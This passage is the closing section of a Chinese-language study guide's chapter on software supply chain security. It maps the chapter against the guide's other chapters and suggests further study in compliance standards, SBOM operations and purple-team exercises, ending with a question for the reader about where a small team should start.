    所以必须分层:99% 靠自动化,1% 关键组件人工审,
    100% 靠锁版本 + 限制爆炸半径兜底。"

9.10.6 本章与前后章节的关系

┌──────────────────────────────────────────────────────────────┐
│                    13 号文档整体脉络                          │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  第一章  AI / LLM 安全          ─┐                           │
│  第二章  API 安全                │                           │
│  第三章  GraphQL / gRPC         │  "应用层的攻击面"           │
│  第四章  移动端与小程序          │                           │
│  第五章  实时通信与 IoT          │                           │
│                                ─┘                           │
│  第六章  主机与操作系统安全      ─┐                           │
│  第七章  内网横向移动与域渗透     │  "已经打进来了之后"        │
│  第八章  数字取证与应急响应 DFIR │                           │
│                                ─┘                           │
│  ★ 第九章  软件供应链安全        ← 【本章】"还没部署就被污染"  │
│                                                              │
│  第十章   云原生与 Serverless    ─┐                           │
│  第十一章 Web3 与智能合约        │  "新兴场景"                │
│  第十二章 数据合规               │                           │
│  第十三章 综合实战               │                           │
│  第十四章 面试总汇总             │                           │
│                                ─┘                           │
└──────────────────────────────────────────────────────────────┘

★ 本章和其他章节的交集:

  ↔ 第八章(DFIR):
     供应链事件的处置流程,本质就是第八章的应急响应流程(PDCERF)。
     8.9 的处置剧本 + 9.8.5 的供应链专项剧本,配合使用。

  ↔ 第七章(内网横向):
     恶意包在构建机上执行后,攻击者就有了内网落脚点,
     接下来就是第七章讲的横向移动。
     → 所以"构建机限制外网 + 网络隔离"既是供应链防护,也是内网防护。

  ↔ 11 号文档第八章(K8s 安全):
     11 号讲 K8s 集群本身(RBAC、NetworkPolicy、Pod Security),
     本章 9.7 讲镜像的供应链(怎么来的、有没有被动过)。
     → 镜像供应链 = "进来之前",K8s 安全 = "进来之后"。

  ↔ 11 号文档第九章(DevSecOps):
     11 号讲的是"安全融入研发流程"(SAST/DAST/SCA 怎么嵌入),
     本章讲的是"供应链这个特定领域的深度防护"。
     → 11 号是流程视角,本章是技术视角。

三个延伸方向(如果想继续深入):

方向一:合规与标准
    - 美国行政令 EO 14028(联邦采购要求 SBOM)
    - 欧盟 CRA(Cyber Resilience Act,2024 年生效)
    - NIST SSDF(Secure Software Development Framework,SP 800-218)
    - 中国的《网络安全法》《数据安全法》对供应链的要求、
      ★ 信创与软件物料清单的行业推动(金融、电信)
    → 适合需要应对客户合规要求的场景

方向二:SBOM 运维实战
    - Dependency-Track 的部署与运维
    - 大规模 SBOM 的存储与查询(几万个组件的性能问题)
    - VEX 的自动化生成(如何把"人工判断"变成"可复用规则")
    - SBOM 与 CMDB / 服务目录的打通
    → 适合平台/安全工程岗位

方向三:紫队演练
    - 用 Atomic Red Team 模拟供应链攻击
    - 自己搭一个恶意 npm 包,在内网测试环境验证检测能力
    - 用 slsa-github-generator 把自己的项目做到 L3
    → ★ 最好的学习方式:亲手做一遍攻击,才知道防御哪里会失效

本章结束。

最后留一个问题给你:

如果你的项目现在有 1500 个依赖,
而你的团队只有 5 个人、没有安全专职、没有预算。

你会先做哪三件事?

(提示:回顾 9.10.1 的认知二和 9.10.3 的 L1 级别 ——
  答案不是"买工具",而是三件几乎零成本、改配置就能做的事。)